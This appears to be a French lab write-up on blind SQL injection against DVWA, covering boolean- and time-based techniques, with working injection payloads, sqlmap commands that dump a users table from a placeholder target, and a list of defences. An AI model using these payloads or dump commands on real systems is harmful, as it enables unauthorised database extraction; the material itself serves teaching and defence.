⚠️ Avertissement légal : Ce projet est réalisé dans un environnement de laboratoire contrôlé à des fins strictement pédagogiques.
L'injection SQL aveugle (Blind SQL Injection) est une variante critique de l'injection SQL où l'attaquant ne reçoit pas de retour direct des données extraites — il doit inférer les informations à partir des comportements de l'application.
Cette étude couvre deux techniques principales :
- Boolean-based Blind : exploitation via des conditions vraies/fausses
- Time-based Blind : exploitation via des délais de réponse
Le principe repose sur l'envoi de requêtes dont le résultat booléen (vrai/faux) est observable dans la réponse de l'application.
-- Test de base : si TRUE, la page s'affiche normalement
' AND 1=1 --
-- Si FALSE, comportement différent (page vide, erreur)
' AND 1=2 --
-- Extraction du nom de la base de données caractère par caractère
' AND SUBSTRING(database(),1,1)='a' --Utilise des fonctions de délai pour inférer des informations sans retour visuel.
-- Si la condition est vraie, délai de 5 secondes
' AND IF(1=1, SLEEP(5), 0) --
-- Extraction du premier caractère du nom d'utilisateur
' AND IF(SUBSTRING(user(),1,1)='r', SLEEP(5), 0) --# Détection automatique des injections
sqlmap -u "http://target.com/page?id=1" --dbs
# Extraction des tables d'une base
sqlmap -u "http://target.com/page?id=1" -D dvwa --tables
# Exfiltration des données
sqlmap -u "http://target.com/page?id=1" -D dvwa -T users --dumpUtilisation de l'Intruder pour automatiser les tests de caractères et reconstruire les données extraites bit par bit.
| Niveau DVWA | Technique | Résultat |
|---|---|---|
| Low | Boolean + Time-based | Extraction complète (users, passwords) |
| Medium | Requêtes POST paramétrées | Contournement via Burp Suite Intercept |
| High | Tokens CSRF + limites | Exploitation via script Python automatisé |
| Mesure | Description |
|---|---|
| Requêtes préparées | PDO::prepare() — séparation code/données |
| ORM sécurisés | Eloquent, Doctrine — abstraction de la base |
| WAF | ModSecurity — filtrage des payloads SQL |
| Moindre privilège | Compte DB en lecture seule si possible |
| Logs & monitoring | Détection des patterns d'injection |
L'injection SQL aveugle reste l'une des vulnérabilités les plus critiques (OWASP A03:2021). Bien que plus lente à exploiter que les injections classiques, elle est tout aussi dangereuse et souvent présente dans des applications jugées "protégées" car elles n'affichent pas d'erreurs SQL.